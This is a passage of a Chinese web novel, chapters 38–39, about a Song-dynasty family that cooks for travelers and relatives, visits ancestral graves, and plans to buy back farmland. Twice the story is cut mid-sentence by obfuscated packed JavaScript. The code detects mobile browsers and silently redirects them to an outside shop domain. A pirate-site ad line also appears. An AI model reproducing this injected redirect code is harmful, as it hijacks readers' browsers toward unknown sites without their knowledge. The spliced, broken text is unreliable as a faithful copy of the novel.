坐在角落里的那位老先生看叶盏的眼神很是赞赏:“说得好。 玉姐儿见妹妹怼王四怼得过瘾,眼珠子一转,提议:“先拿食盒出来吧,我饿了。 哼,馋死你! 作者有话要说 今日加更,晚上九点还有一更。 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 第 38 章 韭菜花鸡蛋、黄米... 因为路程远,叶盏在出门前就做了食物放在食盒中。 此时一听玉姐儿说要吃饭,叶家人立刻心领神会,金哥儿从食盒里往外拿食物,宓凤娘拿了软帕子招呼全家人擦手。 王四坐在角落里咽了咽口水,他这回独自回乡下,没有带小厮,所以没人帮他跑腿去买美食。 再者因为走得匆忙,见了叶大富吓了一跳,竟然忘了出发时买些吃食。 如今兜里虽然揣着银钱,但现在赶路,路边都是庄稼地,去哪里买吃食? 因此只能远远瞥一眼叶家的食物。 叶盏做了蒜泥白肉,主食带了饭团,甜食带了红豆蜜枣糯米卷。一共是三样。 王四看到食物后心绪渐平:还当是什么大鱼大肉呢,最好的肉不过是几片猪肉,那饭团瞧着是几样糙米混合,不是纯白米的,糯米卷不过是寻常百姓吃食,有什么了不起的? 果然是穷人做派! 倒是车夫吆了一声:“这吃食丰盛。” 在普通人眼里,有猪肉,还有杂色米和蜜枣,已经是极其丰盛的美食了。 叶盏便拿出两个饭团分给车夫和老先生:“有缘同路,还请尝尝。” 车夫乐呵呵接过,他估摸这一个饭团可抵得上一文钱了,可见自己没亏本。 老先生道谢,从自己包袱里拿出一个白面饼递过去:“来而不往非礼也。” 玉姐儿不耐烦听他们文绉绉说话,只专注享受自己分到的饭团。 叶家人节俭,饭团并不是纯白米的,而是由糙米和黑米、白米混合做成的,比纯白米便宜很多。 但在玉姐儿心里,因着妹妹手艺好这杂米团子比外面卖的纯白米团子都要好吃! 饭团里面还混合了各色蔬菜,主要取决于食肆做食盒剩下什么材料。 这次糅杂了胡萝卜粒、黄瓜丁、青菜碎、咸菜、里面还裹了肉松。 “啊呜”一口咬下去,玉姐儿咬掉了大半个饭团。几种米混合的香气从嘴巴里窜上来,白米又软又甜,糙米有独有的香气,黑米颗粒发硬很有性格。 让她一下就觉得吃了五谷杂粮,整个人都像跟脚下孕育五谷的土地有了实实在在的链接。 内里的肉松也显露出来,微微发咸的口味,加上各色蔬菜丁,即 使凉了也不失风味,很让人满意。 叶大富担心女儿们嫌腌臜不吃,自己主动接了长者给的白面饼。 他用随身小刀剖开白面饼,将带来的蒜泥白肉整整齐齐摆在上面。再慢条斯理合上饼子,收好小刀,准备享用饼夹肉。 王四口水一下接着一下吞咽:这个死叶大富,怎么这么会吃呢? 叶大富张开大口一口下去。 王四眼睛都看直了。 叶盏做的蒜泥白肉是将大肉煮了后切得薄片,她手艺高明,小小一块肉片被片成了好多薄薄的碎片。 切肉时宓凤娘拿起一块肉片对着太阳看过,还惊呼:“看得见太阳影。”很满意女儿手艺:“以后在食肆里也切这么薄,平摊着上菜,客人觉察不出份量少了。” 叶盏:…… 娘,您以为我在青海拉面店培训过吗? 白肉切好后在蒜泥汁里狠狠裹了一圈,有跺成泥冒着泡的烂烂的蒜泥,还有香气夺人的花椒粉、替代辣椒的茱萸青韭菜花酱,微微褐的茱萸捣碎,加上青青郁郁的韭菜花,滋味又辣又麻。 叶盏还别出心裁加了川式甜酱油,这份甜能让辣更加立体。 与白面饼一起夹着吃,白面饼暄软,还带着麦子香,蒜泥白肉肉质鲜嫩,肥而不腻,鲜香散馥, 浓郁的蒜香混合着霸道的甜酱油味侵袭舌尖,咸、辛、甜、辣,几种滋味轮番上演。 随后是余味悠长,让人久久惦记。 宓凤娘嫌蒜泥白肉有味,拿起了一块红豆蜜枣糯米卷。 糯米煮的烂烂软软,铺在纱布里随便塑形,用擀面杖擀平成饼,铺一层早就炖煮好的红豆蜜枣,再卷起来便成。 简单,快手,方便出发前快速做完。 吃起来滋味却不含糊,糯米又软又香甜,煮烂了的红已经尽数变成红豆泥,蜜枣去了枣核,自带甜味,整个红豆蜜枣糯米卷又软又甜,舌尖一下品尝到许多甜味,让人很是满足。 几种滋味香浓,她忍不住又吃了一个。 王四挤在角落,简直要馋死了,既要努力压制自己的馋虫,还要分小段咽口水避免被叶家人听见。 也不知道这一路他是怎么煎熬着度过的,好容易苦捱到了雍丘县城。 长者先下车,还 向叶家人拱手作揖叶家人也恭恭敬敬给他回了一礼。 王四则是赶紧下了马车连后续的路程都不坐了:他要赶紧去找一家饭馆好好吃一顿! 他一路就惦记着吃倒忘记琢磨叶家人忽然回叶家村要办什么事。 于是接下来的路程便只剩下了叶家人很快就到了叶家村。 叶家村周围全是平原只在触目所及处有一两座矮矮的小山显然到处是良田村头还有条小河不缺灌溉。因此村子是个大村。地势还算平坦地面的土地都是黄河多次泛滥沉积而成起伏不大主要产大蒜、酱菜、豆腐干等物算是一处富庶之地。 宓凤娘早就为回乡特意装扮过穿了汴京城时兴的旋裙擦了胭脂画了笑魇妆还特意将长公主府上得来的玛瑙红缨发带系在发间。 叶大富虽然是寻常装扮但也洗了头脸修了面看着又像从前那个殷实地主。 金哥儿跟着城里的浮浪子弟们混别的不说这气质方面也一眼就与农家子弟不同浑身的富贵子弟气息。 至于叶盏和玉姐儿两人都出落得亭亭玉立穿着虽不奢华但眉眼坦荡立在村里就如鹤立鸡群气质不俗。 两夫妻当初离开叶家村时有多狼狈如今返乡就要有多风光。 果然村口有闲聊的村人看见他们后立刻围了过来在认出两人后惊道:“这不是叶家老大和他浑家吗?” 两人便停下来跟村人简单寒暄几句便告辞:“我们要去找村长。” 村人望着两人的背影很是纳闷:“不是都卖田卖院去了城里吗?为何又回来了。” “那还用说?”有明眼人开口“当然是衣锦回乡你看那衣服那饰品样样都是富贵人家做派说不定叶家人发达了。” “看他们那个找回来的女儿统身的气派说不定叶家老大还真是走了狗屎运。”有个眼尖的议论。 这件事一跃成为叶家村今日新闻头版头条街头巷尾都在议论这件事。 没人注意在一处角落有个矮个子妇人将手中的针线扔进了箩筐急匆匆往家里走了。 叶家人早有准备去找村长还带了礼盒。 给村长带了两匹细布、一盒子红豆蜜枣糯米卷。 谈了 一会又请了村长一起去族长家里谈事。 给族长家的礼品要更好些,除了这两样,还带了从长公主府带出来的半盘子点心。这也能理解,村长看似管理着诸多事务,是朝廷意志的眼神,但实际在村落层面是由族长任命的。 宓凤娘舌灿莲花,将自己见过长公主的经历说得天花乱坠。 叶盏在旁边忍得好辛苦, 娘啊娘,您也太夸大了吧。明明只是在一天内见了两面。被宓凤娘的语言技术加工成:“我就是运气好,投了长公主的缘法。 “光是那天上香,嫌着烦闷就连宣了我两次。 “她们贵人宣人不直接找人去你家找,而是找里正去寻。我那天都怕里正大人嫌烦,还好他一脸荣耀恭维我,我想应当是我被长公主宣召连他也跟着沾光。 “你瞧这红缨绳好不好看?是上次见面长公主身边的第一女官给我的,我也不知道什么缘由,后来听人说女官们会巴结长公主身边的红人呢。 有谎言吗?都是真话,上回的确见了长公主,也的确通过里正宣的,女官的确会跟长公主身边的红人互相交好。 可宓凤娘这么一加工,就成了她是长公主身边的红人、常客、连里正都跟着巴结她。 叶盏:娘这本事要是放在现代还不得玩转网络啊? 村长族长两人还是比普通村民有见识,见了那点心花样是内廷宫样,外头没有,都珍而重之将礼物收了起来。 原本还当叶大富家是个破落户,没想到他们费尽心思居然得偿所愿找到了女儿,而且又是跟长公主关系密切,又是搭上了开封府的官吏,还给诸多贵人做过饭。 对叶家村而言,这就是数一数二的顶级人脉了。 族长要想的更远些,他小孙子如今学业有望,说不定也会科举入仕,奈何自家只是普通农家,有了叶家这样的人脉,别的不说,光是在城里也能有个知根知底的落脚歇息处不是吗? 因此还没等叶家人提出要求,两人也绝对对叶家人提出的要求尽心尽力去办。 “什么?你们要买回田地?在听说后两人俱是一惊。 叶大富便赔笑解释道:“当初卖田地是无奈之举,如今孩子找回来了,当然要想法子把田地买回来,不然以后死了无言面对祖宗。 ” “就是。”宓凤娘在旁边帮腔“您两位也知道咱们庄户人家对土地那是至死都恨不得握一把土落葬的哪里割舍得下?” 族长和村长对视一眼他们都是农民当然懂这种感情。 其实两人原本对叶家夫妻有点偏见:卖土地在传统朴素的农民眼里简直就是罪大恶极!败家子!浪荡户!何况是为了孩子更不知道值当了。 在他们眼里孩子就是免费劳动力 偏偏叶家人非要对个女儿付出这么多他们付出得越多不就越凸显出其他父母不爱子女不慈吗? 这让其他父母如何自处? 可是在听到叶家夫妻的剖白后却对两人大为改观特别是叶大富还把当初描述成走投无路迫不得已。 村长族长对他的厌恶就更减轻了。 有了村长族长帮忙这件事就好办多了。 家里的田地当初一部分卖给了王四家一部分由当地的地主家瓜分了大半要买回来也好说大家都乡里乡亲族长开口那些人难免要卖这个面子给族长。 村长去转了一圈回来后说听说王四也回了村这回回乡就是来变卖田产的。 村里对王四本就感官不好他是个流落而来的外乡人来本村之后靠着叶大富起家又将叶大富的田地买入自己手里。 虽然合乎法律但在道义上难免被村民谴责。 因此他的田地虽然在村里但村民也没少给他使绊子。 村长讲完这些缘由后猜测“或许是这个原因他才来卖田地的。”叮嘱叶大富:“我看他神色匆匆眉眼焦急似乎是急着出手你们先别着急撑上他几天等他降价时再出手。” “多谢您!”叶大富点点头“我们这几天就去走亲戚过几天再回村里。” 直系亲戚都不熟了还有旁系亲戚呢什么叶大富舅舅家、宓凤娘外祖父家还有县城的大姐家。转悠上一圈总能花上三五天到时候再说。 宓凤娘倒细心:“许久未回来先去两方老人坟上祭拜一回。” 她出了几文钱借用村长家的灶台调料又打发丈夫去邻居家买了些鸡蛋肉食。 叶家村祭祖的规矩是荤素皆可叶盏便动手炒了个韭菜花鸡蛋、猪肉酸菜丝、爆炒白肉片、又做了枣泥糕、黄米甜糕两眼做甜品。再就是他们带来的白肉片和两份烤鹌鹑凑上叶大富从附近镇上买的黄酒和几样点心。便也丰盛摆满了七八个碗碟做了两份。 因着路上带生肉不方便祭祖的饭菜便有些简陋只能就地取材饶是如此还是叫村长媳妇惊叹:“这也太泼费②了些。” 村里再富贵的地主家一月能吃一次肉就不错了叶家人居然在非年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151852|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非节的祭祖上就拿出了这许多果然是发达了。 宓凤娘赶紧解释:“好几年不来平日里都是在汴京路祭这回来父母坟前当然要尽些心意不然恐怕祖宗怪罪。” 村长媳妇想想也是才收起惊讶之色。 叶盏看完暗暗松了口气既要在村人面前露出显贵一面以免被人欺负又不要过于出挑以免被嫉妒记恨。宓凤娘的生存智慧值得她好好学呢。 叶大富到坟前就叹气坟头杂草老高显然叶大官除了年节之外平日里没来过。 他叹口气拿出手帕就开始擦墓碑上的灰泥等擦干后又带领儿女割草将各处料理得平平整整后才带着儿女给爹娘祭祀、磕头。 去了叶家祖坟又去了宓凤娘家坟墓 等吃完坟再将祖宗享用过的食物端下来由着孩子们在祖宗墓前享用以示享受到了祖先庇佑。 韭菜花鸡蛋炒得火候正好韭菜花梗脆脆的不像普通的韭菜很容易炒软吃起来脆爽开胃。搭配金黄色的炒鸡蛋正好。 猪肉酸菜丝是由切成细丝的农家腌酸菜和猪肉丝同炒酸菜脆爽正好解了猪肉的肥腻。 爆炒白肉片猪油被尽数煎熬干净丝毫不油腻只有肉质清香即使没有加任何配菜都丝毫不单调。 枣泥糕香甜黄米甜糕绵软。 玉姐儿吃了一块又一块还问宓凤娘:“我这好吃的毛病可是随了翁翁婆婆①?” 惹得宓凤娘白她一眼:“别逼我扰了长辈清静。” 玉姐儿缩缩脖子识趣闭嘴专心吃饭。 却说在京城里银哥儿正为难呢。 叶家人都不在家偏偏阮家婶子带着女儿前来报恩。 还带着厚礼,一瓶金华酒、一篓鲜鱼、一盒子抹穰卷儿,约摸能有一百文。 原本宓凤娘存心结交阮家是想坏了何兰翠的好事,见阮家诚心相交,敷衍两句。谁知聊了两句倒觉脾气相投,虽然阮夫人不像她这样爱挑事凑热闹,但两家都是把女儿当珠宝一样疼爱的人家,能说到一起去。因此指点了她两句。 阮婶子听了她指点,带人查访去找何兰翠大闹一场,出了气,避开了这场陷阱。 等气消了才想起感谢恩人。宓凤娘仗义执言,帮她女儿避开了坑,不就是大恩人吗? 因此置办了当季吃食,拎着礼品盒子,领着女儿,到炭场巷打听了宓凤娘家在何处后,就来上门道谢。 偏偏家里只挂了个大锁。 正要离开,却撞上了回家的银哥。 银哥是告了假回家喂黑靴的,一到家门口就见一对母女在家门口东张西望。 他还怕是贼,上前打听了几句,这才知道是找娘的,想想也能对上号:“那天我家的确是阮氏香水行沐浴去的。” 阮婶子连连点头:“是哩,我就是那天遇上那个热心婶子的。” 既然认对了人不是贼,待客的礼数还是要用的。银哥儿便请客人坐下,自己拿出钥匙开了锁,给她们倒水。 门一开,黑靴先迫不及待蹦跶出来,伸舌头围着银哥儿快乐打转。 银哥儿怕客人怕狗,赶紧拿了个箩筐,抱了小狗扔进箩筐由着它玩。又洗了手才去倒水。 可他没翻出来茶叶,叶盏来家后吃不惯如今时兴的点茶,喜欢喝清淡花茶,捎带着连叶家人的口味都带过来了。家里连半点茶叶沫子都没存。 要去倒水,却发现家里没水。要走好几天,宓凤娘怕水臭了,临走前把水缸里的水倒空,水缸里空荡荡什么都没有。 眼看客人等着,银哥儿急得双脸冒汗,他本就不是会客套话的性格,只会磕磕巴巴跟客人说句:“劳烦您等会。”便拔腿去外面巷子去买两杯甜水。 阮家女儿看着他的背影“噗嗤”一笑,围着箩筐逗小狗,一边笑:“这人可真是实心眼,也不怕我们偷了他家。” 阮婶子也笑:“这孩子真是憨厚,瞧着他娘是个精明的,生出的儿子倒实诚得让人心疼。” 不过四下 打量,屋里没什么贵重物品,想必是出门前收拾了起来,因此也不能算这孩子粗心。赞许地点点头。 再看屋内,虽然窄小但收拾得井井有条:雪白的墙壁,家具都擦得光亮有色泽,处处摆件雅致,看得出来是花了心思的。便对叶家人生了些好感。 说更新,记住域名qiexs⒛(请来企鹅小 说 看最新章节 完整章节) 等到银哥儿买来水,阮婶子看见他给母女俩买了荔枝甜饮子,给自己只买了一盏白水,就更加赞许了。 宓凤娘不在家,阮婶子不便多待,喝了茶就要告别:“回头我再来看她。” 银哥儿想想从屋里寻个礼盒:“那请您先拿着这个,等我娘回来我家人登门拜访您。”人家提着礼物上门没遇上正主,不好意思让她空着手回家。 阮婶子打开礼盒:两封自制的芝麻糖,一包茉莉花干,虽然简单但也很有礼数。 她便也不推辞,接下了礼盒:“既如此,我就告辞了。” 阮家女儿却看着小狗恋恋不舍:“还真想跟黑靴多玩一会。”小奶狗围着她又打转又作揖,简直可爱得让她心都融化了。 “既然喜欢,回头我让我娘给您带一只。”银哥儿开口,他救了一窝小狗,再寻主人家讨要应当也能要来。 “真的?”阮家女儿喜出望外,她还是爱玩的年纪,当然高兴得笑容满面,“多谢你!” 这还是她进门来第一次跟银哥儿说话,银哥儿脸一红,赶紧守礼得把目光移开,对着旁边的狗箩筐,磕磕巴巴答:“不算什么。” 阮嫂子注视着这两人,忽然心中一动。 作者有话要说 翁翁婆婆①:宋代指的爷爷奶奶。 泼费②:浪费,宋俚语 今日更新来啦,明晚九点见!(不排除忽然支棱起来加更) 第 39 章 大葱炒野蘑菇、藠... 祭拜完祖宗, 索性躲懒去亲戚家。 带了各色礼盒,先去近处的亲戚家走动,吃喝一番,了解了家里的情况。 先去叶大富舅舅家柯家,叶盏们叫做舅爷爷的亲戚家里。 柯家人性子朴实,一看有客人来,立刻热情招呼他们上桌,端上来几碗水,里面全部兑了麦芽糖,喝起来甜滋滋。 在汴京城这不算什么稀罕物,可在乡下就是至高的礼节了。 过一会又起锅做饭,从堂屋房梁上解下一块绑着的腊肉就要待客。 叶家人赶紧拦住他们,柯家看着又不富裕,家里几口人穿着的衣服摞了好几块布丁,拿下来的腊肉应当是过年杀猪时拿一条猪腿做的,可这过去半年了那猪腿还只缺了一小块,可见平日里根本舍不得吃。 两边互争,舅爷家人脸都红了:“难道我家还请不起外甥吃顿饭?”, 叶盏怕伤了亲戚面子,便笑道:“正好我在城里开食摊有点手艺,不如献丑今日让我帮厨?” 这在村里也正常,客人来家里常常会跟着一起做饭,柯家人只好应下来,叶盏便进了厨房。 她也不去动亲戚家的米缸,只将自己带来的食物查看了一番。除了米面,自己家带了半袋白肉,再就是一点上坟时从野地里掰下来的蘑菇。 先将白肉切了一小块下锅煸炒,将猪油炒出来。 而后将菜园子里的大葱洗干净,削出来一点葱头,加一点点油微微爆香后才加了蘑菇炒香。 野蘑菇配上葱根,很快就服服帖帖在锅里翻滚,带出一股山野香气。 再泡了一点粉条,裹上肉汁炒了粉条炒肉末。 柯家媳妇是个勤劳的,看叶盏做菜熟练她帮不上什么忙后,就在旁边烧火洗菜,不住问每道菜的做法。 又捞出菜缸里腌制的咸菜疙瘩给叶盏:“这个炒腊肉香。”还是没放弃给叶家人做腊肉。 叶盏看看,这咸菜疙瘩宋朝人叫做薤,现代人叫藠头,辛辣入味,最是下饭。 便接过一块,“刷刷刷”几刀切成细丝后,加上丝瓜,也用猪油同炒,配上空心菜梗炒个素什锦。 柯家孩子正摘花玩呢,院坝前盛开着栀子花摘下来戴头上当新郎新娘玩。 叶盏便开口:“那 些栀子花给我做菜可好?” “我们都不吃那个发苦呢。”柯家儿媳笑如果不是带着苦味庄户人家什么植物都能琢磨着入口。 “有法子。”叶盏很笃定“处理过就不苦了。” 反复搓洗摘掉花蕊再加上清水焯过。 柯家媳妇将信将疑捞起一个栀子花放进嘴里眉眼弯弯笑起来:“果然不苦了。” 她婆婆非要拿两个鸡蛋来炒菜:“你们是客哪有上门连鸡蛋都不给一个的。” 却被宓凤娘给拦了回去。 寻常鸡蛋都会沾鸡毛黄土鸡粪偏这鸡蛋上干干净净被微黄的稻草垫着干干净净挂在屋檐上一看就是人家留着换铜钱的他们哪里安心吃得下? 叶盏眼看那家婆媳两人又要脸红赶紧开口:“这栀子花加韭菜扁豆丝可香呢。” 不用肉不用蛋就用农家园子里自家割下的一把韭菜、摘下的一把扁豆作配。 韭菜切成段扁豆细细切成细丝一起翻炒后加入栀子花。 韭菜辛辣的气息裹着熟扁豆的香味扑鼻而来。 主食便是黑面叶盏想着给他家省面便又从门口树上槐花摘下来撒了一把面一起铺到笼屉上蒸煮煮熟后拎着屉布四角下锅炒炒得又干又焦出锅前撒一把芥末根。 等到菜做好玉姐儿跟这家的孩子一起将方桌从屋里搬到了院里擦干净桌面放上碗筷便开始端盘子。 满满当当摆了一桌:大葱炒野蘑菇、藠头咸菜素什锦、芥末根炒槐花、栀子花炒韭菜扁豆丝。 唯一的一盘肉菜就是粉条炒肉末。 叶盏本来想炒自己带来的一大块白肉但看着这家家境不好便只切了一指宽的一点剁成肉末炒了个粉条 舅爷看着这一桌菜眼眶就红了:“如今新稻米还没收上来去年的存粮又吃得快光了正是青黄不接的季节……” 他咳嗽一声:“下回你们秋社日来给你们蒸新麦饭、割豆腐、杀秋社猪。再买两尾泥鳅加黄酒焖熟!” “好!好!”叶大富连连附和 宓凤娘也乐呵呵把筷子提起来:“不是您外甥媳妇我吹我家二姐儿这手艺可是一绝您吃完会觉得这比肉还香。 ” 柯家人也没想到这些菜会真比肉香: 大葱头吃起来很有嚼劲,葱香比别处要更加浓郁,搭配着灰扑扑油汪汪的野蘑菇,吃起来绝对有肉的口感。 藠头咸菜被切得稀碎,和脆脆的空心菜梗炒在一起,咸鲜适中,正好配饭。 槐花加了黑面蒸本来是村里人人都会的做法,可是叶盏巧妙用锅再炒了一遍,立刻没了水汪汪的感觉,吃起来干爽脆香,还加了芥末根来提味,让这道菜空口吃都香。 至于栀子花炒韭菜扁豆丝里,扁豆丝被切得很细,又软又烂,连牙口不好的老人都能吃,里面的栀子花吸了韭菜的辛辣,层层花瓣吃起来口感又肥厚,居然好像真的在吃大肥肉! 粉条炒肉末就更不用说了,粉条被炒制了好久,从开始的雪白晶莹变成了浅褐色,“吸溜”一大筷子,上面沾染着的酱汁和肉末一起刷进嘴里。滑溜溜,酱汁丰沛,谁能忍住不吃呢。 叶大富也很自豪,不过嘴上还要谦虚:“你们别夸她小孩子,只不过是切了猪油进去,借了肉味。” 柯家人当然知道他是谦虚,他们可是亲眼看见叶盏为柯家人省钱,半点油壶都没碰,只切了一点猪肉炼化的猪油,只能将锅底那一片润湿罢了。 两家人吃得不亦乐乎,原本菜里没肉,可吃起来居然比记忆里的肉菜滋味都不输。 盘子里最后剩一点肉末沾粉条,柯家人非要让给叶家人吃,玉姐儿看了看柯家孩子眼巴巴守着桌的眼神,将那粉条夹了给孩子吃。 柯家小孩先是看了娘一眼,没被骂才慢慢一点一点吃进嘴里,咀嚼得一顿一顿,似乎在品味这点粉条肉末的香气。 最后吃完了还忍不住又拿最后剩下的一点槐花碎沾了沾碗里的汤汁,将饭碗擦得干干净净才心满意足放进嘴里,打了个痛痛快快的饱嗝。 舅爷老人家身子骨不错,都七十了还能一口气吃一碗叶盏送来的芥末根炒槐花。 吃完后倚门大骂叶大官不孝,既不孝顺爹娘又不惦记舅舅,这么多年也就看了他一次,还是有事相求才登门。 叶大富不好跟着骂二弟,在旁苦笑。 乡下人家舅舅的位置很高,每家媳妇去世没有娘家人过来看一眼绝对不能安葬,要是娘家人说自家姑奶奶去世得冤枉那 当场就得找仵作验尸,不能耽误片刻。 婚礼葬礼上舅舅都要坐主桌上位,分家分财产时见证人里面更是得有舅舅。 所以像叶大官这样不敬重舅舅的人实在是异类。 宓凤娘不好说婆家人不是,躲到灶房里跟舅舅儿媳妇磕牙,倒得到了一个消息:如今水田涨价了。 等从舅家告辞,舅爷倚着门口不住大声喊:“别忘了秋社日来,蒸新麦饭、割豆腐、杀秋社猪。还有两尾泥鳅加黄酒焖熟! “哎!叶大富跟他老人家招手,“我一定还来。 从柯家出来,叶家人在村里走访,果然发现田地价格上涨了:原先二两银子的田地如今涨到了三两银子。 叶盏琢磨一下:“是不是因为这些年太平盛世,村里人们休养生息,所以田地价格也上涨了? 早些年战乱大家元气大伤,还没缓过来,所以田价不高。 可是这些年四海承平,所以百姓生活越来越安逸,生孩子越来越多,活下来的孩子也越多,人口逐渐增长,田地的价格便水涨船高。 “这么看来,要尽早买田,要不一年一个价。叶盏当机立断。毕竟人口激增后口粮得天天吃,居住条件却可以暂缓改善。 叶家人带着一百七十五两,原本计划是这样的:全部买八十七亩水田,或者买拿一半买田,剩下一半买乡下宅子方便照看。 可如今一看只能买五十八亩水田,倒不如将钱全部拿来买田更划算。 "要不买旱田?"玉姐儿提议。 水田的价格也比旱田要贵许多,若是不挑剔,二百文就能买到旱田。 只不过叶大富作为资深庄稼人还是建议买水田:“看着水田贵,可出产的谷物也多。 而且旱田得费心费力打理,他们全家人以后在汴京,没有太多精力时间盯着佃户,难免会照顾不周。 “那……真的不买院子了? “乡下有个院子也是我们家的根。如今既然有钱了,宓凤娘还是想有个固定的房舍。 叶大富却很相信女儿:“盏儿自带福运财运,好几次发财都是她的主意,这次我也听她的。 其余兄 妹也相信叶盏。宓凤娘便也相信了女儿,叶家人达成一致:钱全部拿来买稻田。 只不过就算全部买田,也不过能买五十八亩水田。 五十八亩地听着不少,架不住叶家孩子多,分下来一个人只有十亩左右。 这十亩可以求个温饱,但比起叶家从前地主做派时少了许多。 在村里一般农户四口之家应当有40亩地左右,出产粮食60石。①四人口粮25石,留粮种4石,还有赋税。扣除这些能余下个10石余粮已经算是老天开恩。 所以叶家计划购买的这五十八亩地实际算下来一年只能攒个20石余粮。 不过万事开头难,有了田垄做依仗后面总能更顺当些。 聊到这里,叶盏才了解到古代的地主并不是买田就能高枕无忧赚钱了,还有负重的赋税:什么地税、户税、租、庸、调(后两者主要通过农民自己织的布、棉、麻等实现)各种各样。 直到了本朝才好点:先是不用人丁税,所以百姓们才能随意生养孩子。 第二是不用“庸制,国家出面募兵制,农民不用去当兵,只要出钱补上身丁钱米就行。 百姓只要付田赋、折纳、支移、交钱等便可以。 总结来说,就是本朝的税赋虽然不低,但比前朝已经好了许多。怪不得历史书上说宋朝是各朝各代中百姓幸福指数较高的一个朝代。 叶盏不由得感慨:“说不定以后会有一天,老百姓都不需再缴纳赋税了。 惹得家人取笑:“可是白日里被鬼上了身,说些谵妄胡话。 有了这些赋税,叶大富当初卖掉田地的事就更加合理了。 他心思不在田地上打理不好,佃农又需要监督,田地的产出就不再那么多了,可每年要缴纳给官府的各项税负都是固定的,说不定一年下来还要倒欠官府赋税钱。 倒不如一口气买了避到城里去。 城里也有各种杂税,但是叶大富带着叶家人走赤贫路线啊, 他既没有商铺又不从事明面上的商业活动,全家在汴京城这座国际都市里做法外之徒,吃点巨兽嘴边的残渣过活,还免了赋税,不比在乡下更加逍遥自在? 想明白了这点之后,亲爹在叶盏心中就从一个投机倒把小商贩变成了大智 慧大魄力的生活哲学家。 她给亲爹递了一葫芦水。 商议定了这件事,叶家人便散步去看田地。 金哥儿还记得,指着河边一片稻田:“这就是当初王家从我们手里买走的稻田。” 汴京周边有五丈河、金水河、蔡河、汴河四条河流,流经雍丘县的是汴河。叶盏是穿越后看到汴京城外稻田繁盛才知道河南原来是水稻大省,她原先误以为河南属于北方产小麦,实则人家也产水稻。 稻田里水稻正抽条,在阳光下很是精神。 叶大富又提起一遭:“一百五十两中有六十两是盏儿的钱,再加上她做菜攒的二十五两银子,一共有八十五两是她的钱,这回买田可要说好,这些事她的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151853|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 叶盏执意不要:“家里为了寻我才散尽家财,要分这么清的话就从当初变卖家产开始算。” 而且有些东西就算有钱也弥补不了:两位哥哥被耽误了的学业、玉姐儿少吃了那么多年的美食、还有与年龄不符的成熟叶璃失去的童真。这又去哪里寻? 兄弟姐妹觉得欠了她,她又何尝不觉得是欠了兄弟姐妹们呢? 见叶盏执意,宓凤娘便叹口气收下银子:“只这一回,就当你从此还清了姐妹兄弟,以后莫要再想欠着谁。” “就是啊,妹妹你好好活着就是对我们兄妹几个最好的回报。”金哥儿开口。 叶大富便点点头:“这笔钱虽然收了盏儿的,但你们从此要承盏儿的情,不要将她付出视为理所当然,知道了么?” 两兄妹点点头。 定好了策略,只不过王四还在村里转悠,半点都没有着急的样子。似乎根本不打算买卖稻田。 叶家人也不着急,慢悠悠走到县城里走亲戚——转悠好几天,就看看是谁沉不住气。 雍丘县城因为靠着汴京所以很是沾染了几分繁华。 叶大富去原来门户敲门,却被告知姐姐家已经搬家到了县城最繁华的一条街。 他谢过路人带着家人又去新房走亲戚,还记得去路过的南食店里要十碗桐皮熟烩面叫送过去,想想又从街边买了两只烧鸡提溜上。 再加上原本准备的四色点心、一封红糖、一封南茶叶,这份礼已经算是很厚了。 这里面是有原因的:当 年叶大富落魄后每回上姐姐家都要被姐夫奚落,姐姐婆婆更是在饭点时摔摔打打不舍得做饭给他吃。 后面叶大富不想让姐姐为难就不登门了,只托人每年送节礼到姐姐家。只不过每年的回礼越来越薄,去年只回了小半口袋油渣。 那油渣是榨油剩下的,乡下人讨了去喂猪,往常叶家富贵时姐夫可是白送好几车过来。 叶大富就知道姐姐的日子恐怕不好过,因此这次上门礼重有存心给姐姐撑腰的意思。 至于买吃食则是扬眉吐气:不是不愿留我吃饭吗?这回我自带吃食,不吃你家的饭。 等到裘家门房,外观看这宅子的确气派,两进大院,朱漆大红门,门头钉巴掌大,各个是黄铜铸就,看着很有份量。 叶大富拽拽衣服角撑开,才请人通禀:“是你家当家夫人的娘家来人了。 “是甄家舅爷来了?看门人殷勤道,开了门上小窗就往外看。 等看见叶大富后很困惑,却还是点头哈腰开了门:“您是…… “我是你家夫人的二弟,叶家老二。 “叶家?看门人摇头,“认错了罢? “这里难道不是裘家?开油坊的裘布仁家?叶大富急了。 “正是。那看门人关上门,不知道去跟谁禀告,过了一会才有个人开门招呼他们进去:“对不住了,这人是新来的,还没认全人。 宓凤娘皱眉,就算小厮是新来的,他嘴里说的甄家舅爷又是谁?难道裘家这厮停妻再娶又找了姓甄的二房? 叶大富已经拿眼往院里四下打量了,恨不得现在就能寻出端倪。 可这新家他也不熟悉,往来的管事小厮没有半个熟面孔,只能按捺住焦虑跟人家走。 裘家这名管事会说话:“我家大娘子身子不大好,家里老夫人体恤,特容许她在这偏院养病。 宓凤娘四下打量:偏院窄小,阳光不好,哪里是富贵人家太太应该待的住所? “你家小少爷呢?叶大富赶紧问外甥。 “小少爷跟着老爷做生意。这回去了湖广贩豆子,要到桂花开时才能回来呢。裘管事道。 叶大富心里稍安,至少外甥跟着接手生意了,只不过他怎么也不护着亲娘? 他一 肚子困惑急着见大姐快步就走进屋内。 